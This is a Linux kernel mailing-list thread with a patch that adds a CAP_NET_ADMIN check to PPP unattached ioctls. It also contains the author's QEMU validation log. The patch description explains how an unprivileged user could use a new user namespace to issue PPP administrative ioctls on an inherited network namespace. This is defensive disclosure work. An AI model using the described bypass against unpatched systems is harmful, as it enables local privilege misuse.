public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls
@ 2026-04-09  7:11 Taegu Ha
  2026-04-09  7:18 ` 하태구
  2026-04-09  9:50 ` Qingfang Deng
  0 siblings, 2 replies; 3+ messages in thread
From: Taegu Ha @ 2026-04-09  7:11 UTC (permalink / raw)
  To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Qingfang Deng, Kees Cook, Taegu Ha,
	Kuniyuki Iwashima, Sebastian Andrzej Siewior, Cyrill Gorcunov,
	linux-ppp, netdev, linux-kernel
  Cc: qingfang.deng, gnault, jaco, richardbgobert, ericwouds,
	teknoraver

/dev/ppp open is currently authorized against file->f_cred->user_ns,
while unattached administrative ioctls operate on current->nsproxy->net_ns.

As a result, a local unprivileged user can create a new user namespace
with CLONE_NEWUSER, gain CAP_NET_ADMIN only in that new user namespace,
and still issue PPPIOCNEWUNIT, PPPIOCATTACH, or PPPIOCATTCHAN against
an inherited network namespace.

Require CAP_NET_ADMIN in the user namespace that owns the target network
namespace before handling unattached PPP administrative ioctls.

This preserves normal pppd operation in the network namespace it is
actually privileged in, while rejecting the userns-only inherited-netns
case.

Fixes: 273ec51dd7ce ("net: ppp_generic - introduce net-namespace functionality v2")
Signed-off-by: Taegu Ha <hataegu0826@gmail.com>
---
 drivers/net/ppp/ppp_generic.c | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c
index e9b41777be80..c2024684b10d 100644
--- a/drivers/net/ppp/ppp_generic.c
+++ b/drivers/net/ppp/ppp_generic.c
@@ -1057,6 +1057,9 @@ static int ppp_unattached_ioctl(struct net *net, struct ppp_file *pf,
 	struct ppp_net *pn;
 	int __user *p = (int __user *)arg;
 
+	if (!ns_capable(net->user_ns, CAP_NET_ADMIN))
+		return -EPERM;
+
 	switch (cmd) {
 	case PPPIOCNEWUNIT:
 		/* Create a new ppp unit */
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls
  2026-04-09  7:11 [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls Taegu Ha
@ 2026-04-09  7:18 ` 하태구
  2026-04-09  9:50 ` Qingfang Deng
  1 sibling, 0 replies; 3+ messages in thread
From: 하태구 @ 2026-04-09  7:18 UTC (permalink / raw)
  To: Andrew Lunn, David S. Miller, Eric Dumazet, Jakub Kicinski,
	Paolo Abeni, Qingfang Deng, Kees Cook, Taegu Ha,
	Kuniyuki Iwashima, Sebastian Andrzej Siewior, Cyrill Gorcunov,
	linux-ppp, netdev, linux-kernel
  Cc: qingfang.deng, gnault, jaco, richardbgobert, ericwouds,
	teknoraver

[-- Attachment #1: Type: text/plain, Size: 2749 bytes --]

Hello,

Yes, I have a QEMU-based PoC and validation log for the current patch.

The reproducer starts as an unprivileged uid, verifies that open("/dev/ppp")
fails before CLONE_NEWUSER, then creates only a new user namespace while
keeping the same network namespace, and finally attempts PPPIOCNEWUNIT.

With the current patch applied, the original userns-only inherited-netns path
is blocked as expected. In the same network namespace, open("/dev/ppp") still
succeeds after CLONE_NEWUSER, but PPPIOCNEWUNIT now fails with EPERM.

Relevant log lines from my current QEMU run:

    [*] initial netns ino=4026531833
    [*] dropped to uid=65534 gid=65534 before userns
    [*] open(/dev/ppp) before userns failed as expected: Operation not permitted
    [*] after userns-only unshare netns ino=4026531833
    [*] now uid=0 gid=65534 in new userns
    [*] open(/dev/ppp) after userns succeeded
    ioctl(PPPIOCNEWUNIT): Operation not permitted

I am attaching:
- the minimal guest reproducer used in QEMU
- the guest serial log from the current patched run

Thanks,
Taegu Ha
hataegu0826@gmail.com

2026년 4월 9일 (목) 오후 4:12, Taegu Ha <hataegu0826@gmail.com>님이 작성:
>
> /dev/ppp open is currently authorized against file->f_cred->user_ns,
> while unattached administrative ioctls operate on current->nsproxy->net_ns.
>
> As a result, a local unprivileged user can create a new user namespace
> with CLONE_NEWUSER, gain CAP_NET_ADMIN only in that new user namespace,
> and still issue PPPIOCNEWUNIT, PPPIOCATTACH, or PPPIOCATTCHAN against
> an inherited network namespace.
>
> Require CAP_NET_ADMIN in the user namespace that owns the target network
> namespace before handling unattached PPP administrative ioctls.
>
> This preserves normal pppd operation in the network namespace it is
> actually privileged in, while rejecting the userns-only inherited-netns
> case.
>
> Fixes: 273ec51dd7ce ("net: ppp_generic - introduce net-namespace functionality v2")
> Signed-off-by: Taegu Ha <hataegu0826@gmail.com>
> ---
>  drivers/net/ppp/ppp_generic.c | 3 +++
>  1 file changed, 3 insertions(+)
>
> diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c
> index e9b41777be80..c2024684b10d 100644
> --- a/drivers/net/ppp/ppp_generic.c
> +++ b/drivers/net/ppp/ppp_generic.c
> @@ -1057,6 +1057,9 @@ static int ppp_unattached_ioctl(struct net *net, struct ppp_file *pf,
>         struct ppp_net *pn;
>         int __user *p = (int __user *)arg;
>
> +       if (!ns_capable(net->user_ns, CAP_NET_ADMIN))
> +               return -EPERM;
> +
>         switch (cmd) {
>         case PPPIOCNEWUNIT:
>                 /* Create a new ppp unit */
> --
> 2.43.0
>

[-- Attachment #2: ppp_v3_validation.log --]
[-- Type: application/octet-stream, Size: 25420 bytes --]

[    0.000000] Linux version 7.0.0-rc6-00005-g48278fa03093-dirty (root@dbdd95a60758) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #3 SMP PREEMPT_DYNAMIC Thu Apr  9 15:57:17 KST 2026
[    0.000000] Command line: console=ttyS0 rdinit=/init panic=-1
[    0.000000] BIOS-provided physical RAM map:
[    0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff]  System RAM
[    0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff]
[    0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff]  device reserved
[    0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000003ffdffff]  System RAM
[    0.000000] BIOS-e820: [mem 0x000000003ffe0000-0x000000003fffffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x0000000040000000-0x00000000fffbffff]
[    0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff]  device reserved
[    0.000000] BIOS-e820: [gap 0x0000000100000000-0x000000fcffffffff]
[    0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff]  device reserved
[    0.000000] NX (Execute Disable) protection: active
[    0.000000] APIC: Static calls initialized
[    0.000000] SMBIOS 3.0.0 present.
[    0.000000] DMI: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    0.000000] DMI: Memory slots populated: 1/1
[    0.000000] tsc: Fast TSC calibration using PIT
[    0.000000] tsc: Detected 3792.994 MHz processor
[    0.005455] last_pfn = 0x3ffe0 max_arch_pfn = 0x400000000
[    0.005805] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs
[    0.005895] x86/PAT: Configuration [0-7]: WB  WC  UC- UC  WB  WP  UC- WT  
[    0.014429] found SMP MP-table at [mem 0x000f5480-0x000f548f]
[    0.017601] RAMDISK: [mem 0x3ff15000-0x3ffdffff]
[    0.017906] ACPI: Early table checksum verification disabled
[    0.018121] ACPI: RSDP 0x00000000000F5290 000014 (v00 BOCHS )
[    0.018272] ACPI: RSDT 0x000000003FFE1C52 000034 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.018650] ACPI: FACP 0x000000003FFE1B06 000074 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019010] ACPI: DSDT 0x000000003FFE0040 001AC6 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019050] ACPI: FACS 0x000000003FFE0000 000040
[    0.019078] ACPI: APIC 0x000000003FFE1B7A 000078 (v03 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019090] ACPI: HPET 0x000000003FFE1BF2 000038 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019101] ACPI: WAET 0x000000003FFE1C2A 000028 (v01 BOCHS  BXPC     00000001 BXPC 00000001)
[    0.019153] ACPI: Reserving FACP table memory at [mem 0x3ffe1b06-0x3ffe1b79]
[    0.019165] ACPI: Reserving DSDT table memory at [mem 0x3ffe0040-0x3ffe1b05]
[    0.019168] ACPI: Reserving FACS table memory at [mem 0x3ffe0000-0x3ffe003f]
[    0.019171] ACPI: Reserving APIC table memory at [mem 0x3ffe1b7a-0x3ffe1bf1]
[    0.019175] ACPI: Reserving HPET table memory at [mem 0x3ffe1bf2-0x3ffe1c29]
[    0.019178] ACPI: Reserving WAET table memory at [mem 0x3ffe1c2a-0x3ffe1c51]
[    0.020290] No NUMA configuration found
[    0.020302] Faking a node at [mem 0x0000000000000000-0x000000003ffdffff]
[    0.020707] NODE_DATA(0) allocated [mem 0x3ff11900-0x3ff14fff]
[    0.021163] ACPI: PM-Timer IO Port: 0x608
[    0.021362] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1])
[    0.021575] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23
[    0.021639] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl)
[    0.021776] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level)
[    0.021802] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level)
[    0.021848] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level)
[    0.021853] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level)
[    0.021963] ACPI: Using ACPI (MADT) for SMP configuration information
[    0.021985] ACPI: HPET id: 0x8086a201 base: 0xfed00000
[    0.022198] CPU topo: Max. logical packages:   1
[    0.022228] CPU topo: Max. logical nodes:      1
[    0.022234] CPU topo: Num. nodes per package:  1
[    0.022265] CPU topo: Max. logical dies:       1
[    0.022269] CPU topo: Max. dies per package:   1
[    0.022301] CPU topo: Max. threads per core:   1
[    0.022390] CPU topo: Num. cores per package:     1
[    0.022398] CPU topo: Num. threads per package:   1
[    0.022403] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs
[    0.022831] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff]
[    0.022849] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff]
[    0.022913] [gap 0x40000000-0xfffbffff] available for PCI devices
[    0.022942] Booting paravirtualized kernel on bare hardware
[    0.023091] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns
[    0.032850] Zone ranges:
[    0.032863]   DMA      [mem 0x0000000000001000-0x0000000000ffffff]
[    0.032901]   DMA32    [mem 0x0000000001000000-0x000000003ffdffff]
[    0.032906]   Normal   empty
[    0.032918] Movable zone start for each node
[    0.032932] Early memory node ranges
[    0.032949]   node   0: [mem 0x0000000000001000-0x000000000009efff]
[    0.033016]   node   0: [mem 0x0000000000100000-0x000000003ffdffff]
[    0.033083] Initmem setup node 0 [mem 0x0000000000001000-0x000000003ffdffff]
[    0.033573] On node 0, zone DMA: 1 pages in unavailable ranges
[    0.033719] On node 0, zone DMA: 97 pages in unavailable ranges
[    0.066668] On node 0, zone DMA32: 32 pages in unavailable ranges
[    0.066853] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1
[    0.069179] percpu: Embedded 52 pages/cpu s175576 r8192 d29224 u2097152
[    0.070901] Kernel command line: console=ttyS0 rdinit=/init panic=-1
[    0.071568] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes
[    0.071813] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear)
[    0.071911] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear)
[    0.074500] Fallback order for Node 0: 0 
[    0.074662] Built 1 zonelists, mobility grouping on.  Total pages: 262014
[    0.074672] Policy zone: DMA32
[    0.074799] mem auto-init: stack:all(zero), heap alloc:off, heap free:off
[    0.082635] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
[    0.090001] Dynamic Preempt: lazy
[    0.094095] rcu: Preemptible hierarchical RCU implementation.
[    0.094103] rcu: 	RCU event tracing is enabled.
[    0.094117] rcu: 	RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1.
[    0.094201] 	Trampoline variant of Tasks RCU enabled.
[    0.094206] 	Tracing variant of Tasks RCU enabled.
[    0.094258] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies.
[    0.094273] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1
[    0.095174] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1.
[    0.110272] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16
[    0.115637] rcu: srcu_init: Setting srcu_struct sizes based on contention.
[    0.120260] Console: colour VGA+ 80x25
[    0.121453] printk: legacy console [ttyS0] enabled
[    0.135220] ACPI: Core revision 20251212
[    0.138632] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns
[    0.139929] APIC: Switch to symmetric I/O mode setup
[    0.144392] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1
[    0.149615] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x6d58fc573b0, max_idle_ns: 881590936876 ns
[    0.150050] Calibrating delay loop (skipped), value calculated using timer frequency.. 7585.98 BogoMIPS (lpj=3792994)
[    0.152522] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127
[    0.152657] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0
[    0.152961] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto
[    0.153340] Spectre V2 : Mitigation: Retpolines
[    0.153513] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization
[    0.153725] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT
[    0.154352] x86/fpu: x87 FPU will use FXSAVE
[    0.418474] Freeing SMP alternatives memory: 56K
[    0.419136] pid_max: default: 32768 minimum: 301
[    0.424060] SELinux:  Initializing.
[    0.429842] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[    0.429944] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear)
[    0.435955] VFS: Finished mounting rootfs on nullfs
[    0.551901] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1)
[    0.557585] Performance Events: PMU not available due to virtualization, using software events only.
[    0.558212] signal: max sigframe size: 1440
[    0.559136] rcu: Hierarchical SRCU implementation.
[    0.559257] rcu: 	Max phase no-delay instances is 400.
[    0.561958] smp: Bringing up secondary CPUs ...
[    0.564130] smp: Brought up 1 node, 1 CPU
[    0.564279] smpboot: Total of 1 processors activated (7585.98 BogoMIPS)
[    0.569817] Memory: 983832K/1048056K available (19112K kernel code, 3002K rwdata, 7644K rodata, 2932K init, 596K bss, 60904K reserved, 0K cma-reserved)
[    0.574670] devtmpfs: initialized
[    0.580583] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns
[    0.581206] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear)
[    0.581516] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear).
[    0.583781] PM: RTC time: 06:57:28, date: 2026-04-09
[    0.587571] NET: Registered PF_NETLINK/PF_ROUTE protocol family
[    0.589521] audit: initializing netlink subsys (disabled)
[    0.591100] audit: type=2000 audit(1775717847.449:1): state=initialized audit_enabled=0 res=1
[    0.593761] thermal_sys: Registered thermal governor 'step_wise'
[    0.594067] cpuidle: using governor menu
[    0.596122] PCI: Using configuration type 1 for base access
[    0.597816] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible.
[    0.602020] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages
[    0.602183] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page
[    0.607208] ACPI: Added _OSI(Module Device)
[    0.607316] ACPI: Added _OSI(Processor Device)
[    0.607404] ACPI: Added _OSI(Processor Aggregator Device)
[    0.631255] ACPI: 1 ACPI AML tables successfully acquired and loaded
[    0.648440] ACPI: \_SB_: platform _OSC: OS support mask [002a7eee]
[    0.653647] ACPI: Interpreter enabled
[    0.656377] ACPI: PM: (supports S0 S3 S4 S5)
[    0.656496] ACPI: Using IOAPIC for interrupt routing
[    0.656812] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug
[    0.656926] PCI: Using E820 reservations for host bridge windows
[    0.657966] ACPI: Enabled 2 GPEs in block 00 to 0F
[    0.701836] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff])
[    0.704285] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3]
[    0.704523] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI]
[    0.704894] acpi PNP0A03:00: _OSC: platform retains control of PCIe features (AE_ERROR)
[    0.705299] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge
[    0.709334] PCI host bridge to bus 0000:00
[    0.709556] pci_bus 0000:00: root bus resource [io  0x0000-0x0cf7 window]
[    0.709759] pci_bus 0000:00: root bus resource [io  0x0d00-0xffff window]
[    0.711907] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window]
[    0.712086] pci_bus 0000:00: root bus resource [mem 0x40000000-0xfebfffff window]
[    0.712231] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window]
[    0.712460] pci_bus 0000:00: root bus resource [bus 00-ff]
[    0.713332] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint
[    0.719885] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint
[    0.722529] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint
[    0.723038] pci 0000:00:01.1: BAR 4 [io  0xc040-0xc04f]
[    0.723193] pci 0000:00:01.1: BAR 0 [io  0x01f0-0x01f7]: legacy IDE quirk
[    0.723336] pci 0000:00:01.1: BAR 1 [io  0x03f6]: legacy IDE quirk
[    0.723474] pci 0000:00:01.1: BAR 2 [io  0x0170-0x0177]: legacy IDE quirk
[    0.723612] pci 0000:00:01.1: BAR 3 [io  0x0376]: legacy IDE quirk
[    0.726287] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint
[    0.726646] pci 0000:00:01.3: quirk: [io  0x0600-0x063f] claimed by PIIX4 ACPI
[    0.726806] pci 0000:00:01.3: quirk: [io  0x0700-0x070f] claimed by PIIX4 SMB
[    0.727216] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint
[    0.729917] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref]
[    0.730096] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff]
[    0.730215] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref]
[    0.730487] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff]
[    0.731018] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint
[    0.731742] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff]
[    0.731878] pci 0000:00:03.0: BAR 1 [io  0xc000-0xc03f]
[    0.733916] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref]
[    0.746347] ACPI: PCI: Interrupt link LNKA configured for IRQ 10
[    0.746999] ACPI: PCI: Interrupt link LNKB configured for IRQ 10
[    0.747436] ACPI: PCI: Interrupt link LNKC configured for IRQ 11
[    0.747848] ACPI: PCI: Interrupt link LNKD configured for IRQ 11
[    0.750066] ACPI: PCI: Interrupt link LNKS configured for IRQ 9
[    0.754143] iommu: Default domain type: Translated
[    0.754267] iommu: DMA domain TLB invalidation policy: lazy mode
[    0.755281] SCSI subsystem initialized
[    0.756351] ACPI: bus type USB registered
[    0.756697] usbcore: registered new interface driver usbfs
[    0.756991] usbcore: registered new interface driver hub
[    0.757173] usbcore: registered new device driver usb
[    0.757462] pps_core: LinuxPPS API ver. 1 registered
[    0.757566] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti <giometti@linux.it>
[    0.757760] PTP clock support registered
[    0.763048] Advanced Linux Sound Architecture Driver Initialized.
[    0.771499] NetLabel: Initializing
[    0.771586] NetLabel:  domain hash size = 128
[    0.771675] NetLabel:  protocols = UNLABELED CIPSOv4 CALIPSO
[    0.772188] NetLabel:  unlabeled traffic allowed by default
[    0.780519] PCI: Using ACPI for IRQ routing
[    0.780901] e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff]
[    0.783021] e820: register RAM buffer resource [mem 0x3ffe0000-0x3fffffff]
[    0.784206] pci 0000:00:02.0: vgaarb: setting as boot VGA device
[    0.784369] pci 0000:00:02.0: vgaarb: bridge control possible
[    0.784505] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none
[    0.784684] vgaarb: loaded
[    0.785448] hpet: 3 channels of 0 reserved for per-cpu timers
[    0.785701] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0
[    0.785861] hpet0: 3 comparators, 64-bit 100.000000 MHz counter
[    0.795421] clocksource: Switched to clocksource tsc-early
[    0.797247] VFS: Disk quotas dquot_6.6.0
[    0.797438] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    0.813762] pnp: PnP ACPI init
[    0.818683] pnp: PnP ACPI: found 6 devices
[    0.859200] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns
[    0.861802] NET: Registered PF_INET protocol family
[    0.862657] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear)
[    0.868129] tcp_listen_portaddr_hash hash table entries: 512 (order: 1, 8192 bytes, linear)
[    0.868392] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear)
[    0.870598] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear)
[    0.870891] TCP bind hash table entries: 8192 (order: 6, 262144 bytes, linear)
[    0.871172] TCP: Hash tables configured (established 8192 bind 8192)
[    0.871712] UDP hash table entries: 512 (order: 3, 32768 bytes, linear)
[    0.871985] UDP-Lite hash table entries: 512 (order: 3, 32768 bytes, linear)
[    0.874871] NET: Registered PF_UNIX/PF_LOCAL protocol family
[    0.878312] RPC: Registered named UNIX socket transport module.
[    0.878526] RPC: Registered udp transport module.
[    0.878625] RPC: Registered tcp transport module.
[    0.878721] RPC: Registered tcp-with-tls transport module.
[    0.878828] RPC: Registered tcp NFSv4.1 backchannel transport module.
[    0.883103] pci_bus 0000:00: resource 4 [io  0x0000-0x0cf7 window]
[    0.883249] pci_bus 0000:00: resource 5 [io  0x0d00-0xffff window]
[    0.883376] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window]
[    0.885477] pci_bus 0000:00: resource 7 [mem 0x40000000-0xfebfffff window]
[    0.885619] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window]
[    0.886084] pci 0000:00:01.0: PIIX3: Enabling Passive Release
[    0.886245] pci 0000:00:00.0: Limiting direct PCI/PCI transfers
[    0.886471] PCI: CLS 0 bytes, default 64
[    0.898609] Initialise system trusted keyrings
[    0.901468] Unpacking initramfs...
[    0.903582] workingset: timestamp_bits=56 max_order=18 bucket_order=0
[    0.911623] NFS: Registering the id_resolver key type
[    0.911945] Key type id_resolver registered
[    0.912044] Key type id_legacy registered
[    0.912168] nfs4filelayout_init: NFSv4 File Layout Driver Registering...
[    0.912460] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering...
[    0.913695] Freeing initrd memory: 812K
[    0.916665] 9p: Installing v9fs 9p2000 file system support
[    1.016482] Key type asymmetric registered
[    1.016619] Asymmetric key parser 'x509' registered
[    1.016890] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251)
[    1.017255] io scheduler mq-deadline registered
[    1.017382] io scheduler kyber registered
[    1.021001] input: Power Button as /devices/platform/LNXPWRBN:00/input/input0
[    1.023749] ACPI: button: Power Button [PWRF]
[    1.029049] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    1.035147] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A
[    1.043450] Non-volatile memory driver v1.3
[    1.043582] Linux agpgart interface v0.103
[    1.044804] ACPI: bus type drm_connector registered
[    1.065113] loop: module loaded
[    1.073987] scsi host0: ata_piix
[    1.077567] scsi host1: ata_piix
[    1.077866] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14 lpm-pol 0
[    1.078033] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15 lpm-pol 0
[    1.081829] e100: Intel(R) PRO/100 Network Driver
[    1.081944] e100: Copyright(c) 1999-2006 Intel Corporation
[    1.082095] e1000: Intel(R) PRO/1000 Network Driver
[    1.082194] e1000: Copyright (c) 1999-2006 Intel Corporation.
[    1.229255] ata2: found unknown device (class 0)
[    1.237034] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100
[    1.251715] scsi 1:0:0:0: CD-ROM            QEMU     QEMU DVD-ROM     2.5+ PQ: 0 ANSI: 5
[    1.275007] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray
[    1.275278] cdrom: Uniform CD-ROM driver Revision: 3.20
[    1.289625] ACPI: \_SB_.LNKC: Enabled at IRQ 11
[    1.296055] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    1.733062] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56
[    1.733476] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection
[    1.733773] e1000e: Intel(R) PRO/1000 Network Driver
[    1.733879] e1000e: Copyright(c) 1999 - 2015 Intel Corporation.
[    1.734339] sky2: driver version 1.30
[    1.734584] PPP generic driver version 2.4.2
[    1.736095] usbcore: registered new interface driver usblp
[    1.736299] usbcore: registered new interface driver usb-storage
[    1.736819] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12
[    1.738820] serio: i8042 KBD port at 0x60,0x64 irq 1
[    1.739060] serio: i8042 AUX port at 0x60,0x64 irq 12
[    1.740386] rtc_cmos 00:05: RTC can wake from S4
[    1.742152] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1
[    1.746735] rtc_cmos 00:05: registered as rtc0
[    1.747334] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs
[    1.749107] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev
[    1.749448] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled
[    1.749736] hid: raw HID events driver (C) Jiri Kosina
[    1.750724] usbcore: registered new interface driver usbhid
[    1.750850] usbhid: USB HID core driver
[    1.754469] Initializing XFRM netlink socket
[    1.754749] NET: Registered PF_INET6 protocol family
[    1.760913] Segment Routing with IPv6
[    1.761299] In-situ OAM (IOAM) with IPv6
[    1.761840] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver
[    1.763431] NET: Registered PF_PACKET protocol family
[    1.764332] 9pnet: Installing 9P2000 support
[    1.764572] Key type dns_resolver registered
[    1.765750] IPI shorthand broadcast: enabled
[    1.779393] sched_clock: Marking stable (1754019400, 24952567)->(1797996967, -19025000)
[    1.781040] registered taskstats version 1
[    1.781174] Loading compiled-in X.509 certificates
[    1.788180] Demotion targets for Node 0: null
[    1.790030] PM:   Magic number: 6:739:973
[    1.790379] netconsole: network logging started
[    1.791041] cfg80211: Loading compiled-in X.509 certificates for regulatory database
[    1.798826] kworker/u4:1 (53) used greatest stack depth: 15064 bytes left
[    1.804701] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7'
[    1.805208] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600'
[    1.805841] ALSA device list:
[    1.805941]   No soundcards found.
[    1.806864] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2
[    1.807208] cfg80211: failed to load regulatory.db
[    1.857494] Freeing unused kernel image (initmem) memory: 2932K
[    1.857858] Write protecting the kernel read-only data: 28672k
[    1.859321] Freeing unused kernel image (text/rodata gap) memory: 1364K
[    1.859739] Freeing unused kernel image (rodata/data gap) memory: 548K
[    1.903063] tsc: Refined TSC clocksource calibration: 3792.948 MHz
[    1.903386] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x6d58a4c4524, max_idle_ns: 881590912659 ns
[    1.903659] clocksource: Switched to clocksource tsc
[    1.958248] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[    1.958577] Run /init as init process
[*] initial netns ino=4026531833
[*] dropped to uid=65534 gid=65534 before userns
[*] open(/dev/ppp) before userns failed as expected: Operation not permitted
[*] after userns-only unshare netns ino=4026531833
[*] now uid=0 gid=65534 in new userns
[*] open(/dev/ppp) after userns succeeded
